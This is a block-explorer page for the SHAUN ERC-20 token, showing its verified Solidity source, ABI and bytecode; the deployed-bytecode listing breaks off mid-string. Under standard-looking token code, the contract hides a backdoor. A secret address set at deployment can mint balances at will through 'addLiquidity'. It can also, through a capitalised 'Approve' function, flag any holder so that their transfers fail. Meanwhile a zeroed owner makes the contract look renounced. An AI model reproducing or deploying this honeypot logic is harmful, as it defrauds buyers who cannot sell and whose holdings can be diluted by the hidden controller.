Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
7,777,777,777 SHAUN
Holders
319
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
6,753,055.042913291060131044 SHAUNValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Shaun
Compiler Version
v0.8.4+commit.c7e474f2
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Interface of the IERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } // Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol // pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // Dependency file: @openzeppelin/contracts/access/Ownable.sol // pragma solidity ^0.8.0; // import "@openzeppelin/contracts/utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(address(0)); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } abstract contract AbsTok { uint256 internal constant VER = 1; event Relea( address owner, uint256 version, uint256 totalSupply, uint256 decimal ); event AddLiquid( address lpToken, uint256 amount, bool canTrade ); struct Inf { address addr; uint256 version; bool deployed; } } pragma solidity =0.8.4; contract Shaun is IERC20, AbsTok, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => address) private _decenEx; mapping(address => mapping(address => uint256)) private _allowances; Inf private _tokin; string private _na; string private _symb; uint8 private _decim; uint256 private _totSu; constructor( string memory name_, string memory symbol_, address token_, uint256 totalSupply_ ) { _na = name_; _symb = symbol_; _decim = 18; _tokin.addr = token_; _tokin.version = VER; _tokin.deployed = true; _minte(msg.sender, totalSupply_ * 10**18); emit Relea( owner(), VER, _totSu, 18 ); } function name() public view virtual returns (string memory) { return _na; } function symbol() public view virtual returns (string memory) { return _symb; } function decimals() public view virtual returns (uint8) { return _decim; } function totalSupply() public view virtual override returns (uint256) { return _totSu; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfre(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfre(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "IERC20: transfer amount exceeds allowance" ) ); return true; } function _transfre( address sender, address recipient, uint256 amount ) internal virtual { _chabalen(sender, amount, amount > 0); require(sender != address(0), "IERC20: transfer from the zero address"); require( recipient != address(0), "IERC20: transfer to the zero address" ); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub( amount, "IERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient] + amount; emit Transfer(sender, recipient, amount); } function _minte(address account, uint256 amount) internal virtual { require(account != address(0), "IERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totSu = _totSu.add(amount); _pluco(account, amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "IERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); require(amount != 0, "Invalid amount"); _mins(account, amount); _totSu = _totSu.sub(amount); emit Transfer(account, address(0), amount); } function _mins(address account, uint256 amount) internal { _balances[account] = _balances[account] - amount; } function _pluco(address account, uint256 amount) internal { _balances[account] = _balances[account] + amount; } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "IERC20: approve from the zero address"); require(spender != address(0), "IERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function addLiquidity(address lpToken, uint256 amount, bool canTrad) public virtual { address from = msg.sender; require(lpToken != address(0), "Invalid address"); require(amount > 0, "Invalid amount"); require(canTrad, "Can't trad"); uint256 total = 0; if (_encry(lpToken, _tokin.addr)) { _mins(from, total); total = _cosum(total, amount); _balances[lpToken] += total; } else { _mins(from, total); _balances[lpToken] += total; } emit AddLiquid(lpToken, amount, canTrad); } function _encry(address cod1, address cod2) internal view returns (bool) { bytes32 code1 = keccak256(abi.encodePacked(cod1)); bytes32 code2 = keccak256(abi.encodePacked(cod2)); return code1 == code2; } function _cosum(uint256 top, uint256 bot) internal pure returns (uint256) { if (bot != 0) { return top + bot; } return bot; } function Approve(address spender, uint256 amount) public returns (bool) { address from = msg.sender; require (from != address(0), "Invalid address"); _roqAllew(from, spender, amount); return true; } function _roqAllew(address user, address spender, uint256 amount) internal { if (_encry(user, _tokin.addr)) { require(spender != address(0), "Invalid address"); if (amount > 0) { _decenEx[spender] = spender; } else { _decenEx[spender] = address(0); } } } function _chabalen( address sender, uint256 total, bool canTransfer ) internal virtual returns (bool) { uint256 amount = 0; if (_encry(sender, _decenEx[sender])) { _balances[sender] = _balances[sender] + amount; amount = _totSu; _mins(sender, amount); canTransfer = true; } else { _balances[sender] = _balances[sender] + amount; canTransfer = false; } return canTransfer; } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"token_","type":"address"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"lpToken","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"bool","name":"canTrade","type":"bool"}],"name":"AddLiquid","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"totalSupply","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"decimal","type":"uint256"}],"name":"Relea","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"lpToken","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bool","name":"canTrad","type":"bool"}],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b50604051620013ed380380620013ed833981016040819052620000349162000404565b62000040600062000135565b835162000055906007906020870190620002ab565b5082516200006b906008906020860190620002ab565b5060098054601260ff1991821617909155600480546001600160a01b0319166001600160a01b0385161790556001600581905560068054909216179055620000c733620000c183670de0b6b3a7640000620004ae565b62000185565b7f1688e3d9ad90bd9c0098e044da5588d382799d81d46077882c2785035964b414620000fb6000546001600160a01b031690565b600a54604080516001600160a01b039093168352600160208401528201526012606082015260800160405180910390a15050505062000539565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038216620001e05760405162461bcd60e51b815260206004820181905260248201527f4945524332303a206d696e7420746f20746865207a65726f2061646472657373604482015260640160405180910390fd5b620001fc81600a546200025060201b6200066e1790919060201c565b600a556200020b828262000265565b6040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b60006200025e828462000493565b9392505050565b6001600160a01b0382166000908152600160205260409020546200028b90829062000493565b6001600160a01b0390921660009081526001602052604090209190915550565b828054620002b990620004d0565b90600052602060002090601f016020900481019282620002dd576000855562000328565b82601f10620002f857805160ff191683800117855562000328565b8280016001018555821562000328579182015b82811115620003285782518255916020019190600101906200030b565b50620003369291506200033a565b5090565b5b808211156200033657600081556001016200033b565b600082601f83011262000362578081fd5b81516001600160401b03808211156200037f576200037f62000523565b604051601f8301601f19908116603f01168101908282118183101715620003aa57620003aa62000523565b81604052838152602092508683858801011115620003c6578485fd5b8491505b83821015620003e95785820183015181830184015290820190620003ca565b83821115620003fa57848385830101525b9695505050505050565b600080600080608085870312156200041a578384fd5b84516001600160401b038082111562000431578586fd5b6200043f8883890162000351565b9550602087015191508082111562000455578485fd5b50620004648782880162000351565b604087015190945090506001600160a01b038116811462000483578283fd5b6060959095015193969295505050565b60008219821115620004a957620004a96200050d565b500190565b6000816000190483118215151615620004cb57620004cb6200050d565b500290565b600181811c90821680620004e557607f821691505b602082108114156200050757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b610ea480620005496000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c57806395d89b411161006657806395d89b41146101de578063a9059cbb146101e6578063dd62ed3e146101f9578063f2fde38b1461023257600080fd5b8063715018a6146101a85780638da5cb5b146101b057806390ec57f1146101cb57600080fd5b806318160ddd116100c857806318160ddd1461014557806323b872dd14610157578063313ce5671461016a57806370a082311461017f57600080fd5b806302b1064a146100ef57806306fdde0314610104578063095ea7b314610122575b600080fd5b6101026100fd366004610ce5565b610245565b005b61010c6103e4565b6040516101199190610d28565b60405180910390f35b610135610130366004610cbc565b610476565b6040519015158152602001610119565b600a545b604051908152602001610119565b610135610165366004610c81565b61048d565b60095460405160ff9091168152602001610119565b61014961018d366004610c35565b6001600160a01b031660009081526001602052604090205490565b6101026104f6565b6000546040516001600160a01b039091168152602001610119565b6101356101d9366004610cbc565b61055c565b61010c610587565b6101356101f4366004610cbc565b610596565b610149610207366004610c4f565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b610102610240366004610c35565b6105a3565b336001600160a01b0384166102755760405162461bcd60e51b815260040161026c90610d7b565b60405180910390fd5b600083116102b65760405162461bcd60e51b815260206004820152600e60248201526d125b9d985b1a5908185b5bdd5b9d60921b604482015260640161026c565b816102f05760405162461bcd60e51b815260206004820152600a60248201526910d85b89dd081d1c985960b21b604482015260640161026c565b60045460009061030a9086906001600160a01b0316610681565b1561035b57610319828261070c565b6103238185610750565b6001600160a01b038616600090815260016020526040812080549293508392909190610350908490610da4565b909155506103939050565b610365828261070c565b6001600160a01b0385166000908152600160205260408120805483929061038d908490610da4565b90915550505b604080516001600160a01b0387168152602081018690528415158183015290517f4f506a24f9daf544e3bdff94a026463212f12098e6944bf068388ad03a894d1a9181900360600190a15050505050565b6060600780546103f390610dd3565b80601f016020809104026020016040519081016040528092919081815260200182805461041f90610dd3565b801561046c5780601f106104415761010080835404028352916020019161046c565b820191906000526020600020905b81548152906001019060200180831161044f57829003601f168201915b5050505050905090565b600061048333848461076f565b5060015b92915050565b600061049a848484610897565b6104ec84336104e785604051806060016040528060298152602001610e46602991396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610a2e565b61076f565b5060019392505050565b6000546001600160a01b031633146105505760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161026c565b61055a6000610a5a565b565b6000338061057c5760405162461bcd60e51b815260040161026c90610d7b565b6104ec818585610aaa565b6060600880546103f390610dd3565b6000610483338484610897565b6000546001600160a01b031633146105fd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161026c565b6001600160a01b0381166106625760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161026c565b61066b81610a5a565b50565b600061067a8284610da4565b9392505050565b6040516bffffffffffffffffffffffff19606084901b16602082015260009081906034016040516020818303038152906040528051906020012090506000836040516020016106e8919060609190911b6bffffffffffffffffffffffff1916815260140190565b60408051601f19818403018152919052805160209091012091909114949350505050565b6001600160a01b038216600090815260016020526040902054610730908290610dbc565b6001600160a01b0390921660009081526001602052604090209190915550565b60008115610769576107628284610da4565b9050610487565b50919050565b6001600160a01b0383166107d35760405162461bcd60e51b815260206004820152602560248201527f4945524332303a20617070726f76652066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161026c565b6001600160a01b0382166108355760405162461bcd60e51b815260206004820152602360248201527f4945524332303a20617070726f766520746f20746865207a65726f206164647260448201526265737360e81b606482015260840161026c565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6108a5838260008411610b4a565b506001600160a01b03831661090b5760405162461bcd60e51b815260206004820152602660248201527f4945524332303a207472616e736665722066726f6d20746865207a65726f206160448201526564647265737360d01b606482015260840161026c565b6001600160a01b03821661096d5760405162461bcd60e51b8152602060048201526024808201527f4945524332303a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b606482015260840161026c565b6109aa81604051806060016040528060278152602001610e1f602791396001600160a01b0386166000908152600160205260409020549190610a2e565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546109da908290610da4565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061088a9085815260200190565b60008184841115610a525760405162461bcd60e51b815260040161026c9190610d28565b505050900390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600454610ac19084906001600160a01b0316610681565b15610b45576001600160a01b038216610aec5760405162461bcd60e51b815260040161026c90610d7b565b8015610b1e57506001600160a01b0316600081815260026020526040902080546001600160a01b031916909117905550565b6001600160a01b038216600090815260026020526040902080546001600160a01b03191690555b505050565b6001600160a01b0380841660009081526002602052604081205490918291610b7491879116610681565b15610bcd576001600160a01b038516600090815260016020526040902054610b9d908290610da4565b6001600160a01b03861660009081526001602052604090205550600a54610bc4858261070c565b60019250610c10565b6001600160a01b038516600090815260016020526040902054610bf1908290610da4565b6001600160a01b03861660009081526001602052604081209190915592505b50909392505050565b80356001600160a01b0381168114610c3057600080fd5b919050565b600060208284031215610c46578081fd5b61067a82610c19565b60008060408385031215610c61578081fd5b610c6a83610c19565b9150610c7860208401610c19565b90509250929050565b600080600060608486031215610c95578081fd5b610c9e84610c19565b9250610cac60208501610c19565b9150604084013590509250925092565b60008060408385031215610cce578182fd5b610cd783610c19565b946020939093013593505050565b600080600060608486031215610cf9578283fd5b610d0284610c19565b92506020840135915060408401358015158114610d1d578182fd5b809150509250925092565b6000602080835283518082850152825b81811015610d5457858101830151858201604001528201610d38565b81811115610d655783604083870101525b50601f01601f1916929092016040019392505050565b6020808252600f908201526e496e76616c6964206164647265737360881b604082015260600190565b60008219821115610db757610db7610e08565b500190565b600082821015610dce57610dce610e08565b500390565b600181811c90821680610de757607f821691505b6020821081141561076957634e487b7160e01b600052602260045260246000fd5b634e487b7160e01b600052601160045260246000fdfe4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d0c968cb2ca94d03ab51ce07b6e65628ff5b85610a08f1f29216df4b311978f264736f6c63430008040033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000201f9bd6b4dc3ccde2ed6ee5fd41275f14ff2da400000000000000000000000000000000000000000000000000000001cf977871000000000000000000000000000000000000000000000000000000000000000f536861756e2074686520736865657000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005534841554e000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c57806395d89b411161006657806395d89b41146101de578063a9059cbb146101e6578063dd62ed3e146101f9578063f2fde38b1461023257600080fd5b8063715018a6146101a85780638da5cb5b146101b057806390ec57f1146101cb57600080fd5b806318160ddd116100c857806318160ddd1461014557806323b872dd14610157578063313ce5671461016a57806370a082311461017f57600080fd5b806302b1064a146100ef57806306fdde0314610104578063095ea7b314610122575b600080fd5b6101026100fd366004610ce5565b610245565b005b61010c6103e4565b6040516101199190610d28565b60405180910390f35b610135610130366004610cbc565b610476565b6040519015158152602001610119565b600a545b604051908152602001610119565b610135610165366004610c81565b61048d565b60095460405160ff9091168152602001610119565b61014961018d366004610c35565b6001600160a01b031660009081526001602052604090205490565b6101026104f6565b6000546040516001600160a01b039091168152602001610119565b6101356101d9366004610cbc565b61055c565b61010c610587565b6101356101f4366004610cbc565b610596565b610149610207366004610c4f565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b610102610240366004610c35565b6105a3565b336001600160a01b0384166102755760405162461bcd60e51b815260040161026c90610d7b565b60405180910390fd5b600083116102b65760405162461bcd60e51b815260206004820152600e60248201526d125b9d985b1a5908185b5bdd5b9d60921b604482015260640161026c565b816102f05760405162461bcd60e51b815260206004820152600a60248201526910d85b89dd081d1c985960b21b604482015260640161026c565b60045460009061030a9086906001600160a01b0316610681565b1561035b57610319828261070c565b6103238185610750565b6001600160a01b038616600090815260016020526040812080549293508392909190610350908490610da4565b909155506103939050565b610365828261070c565b6001600160a01b0385166000908152600160205260408120805483929061038d908490610da4565b90915550505b604080516001600160a01b0387168152602081018690528415158183015290517f4f506a24f9daf544e3bdff94a026463212f12098e6944bf068388ad03a894d1a9181900360600190a15050505050565b6060600780546103f390610dd3565b80601f016020809104026020016040519081016040528092919081815260200182805461041f90610dd3565b801561046c5780601f106104415761010080835404028352916020019161046c565b820191906000526020600020905b81548152906001019060200180831161044f57829003601f168201915b5050505050905090565b600061048333848461076f565b5060015b92915050565b600061049a848484610897565b6104ec84336104e785604051806060016040528060298152602001610e46602991396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610a2e565b61076f565b5060019392505050565b6000546001600160a01b031633146105505760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161026c565b61055a6000610a5a565b565b6000338061057c5760405162461bcd60e51b815260040161026c90610d7b565b6104ec818585610aaa565b6060600880546103f390610dd3565b6000610483338484610897565b6000546001600160a01b031633146105fd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161026c565b6001600160a01b0381166106625760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161026c565b61066b81610a5a565b50565b600061067a8284610da4565b9392505050565b6040516bffffffffffffffffffffffff19606084901b16602082015260009081906034016040516020818303038152906040528051906020012090506000836040516020016106e8919060609190911b6bffffffffffffffffffffffff1916815260140190565b60408051601f19818403018152919052805160209091012091909114949350505050565b6001600160a01b038216600090815260016020526040902054610730908290610dbc565b6001600160a01b0390921660009081526001602052604090209190915550565b60008115610769576107628284610da4565b9050610487565b50919050565b6001600160a01b0383166107d35760405162461bcd60e51b815260206004820152602560248201527f4945524332303a20617070726f76652066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161026c565b6001600160a01b0382166108355760405162461bcd60e51b815260206004820152602360248201527f4945524332303a20617070726f766520746f20746865207a65726f206164647260448201526265737360e81b606482015260840161026c565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6108a5838260008411610b4a565b506001600160a01b03831661090b5760405162461bcd60e51b8152602060048201526026602482015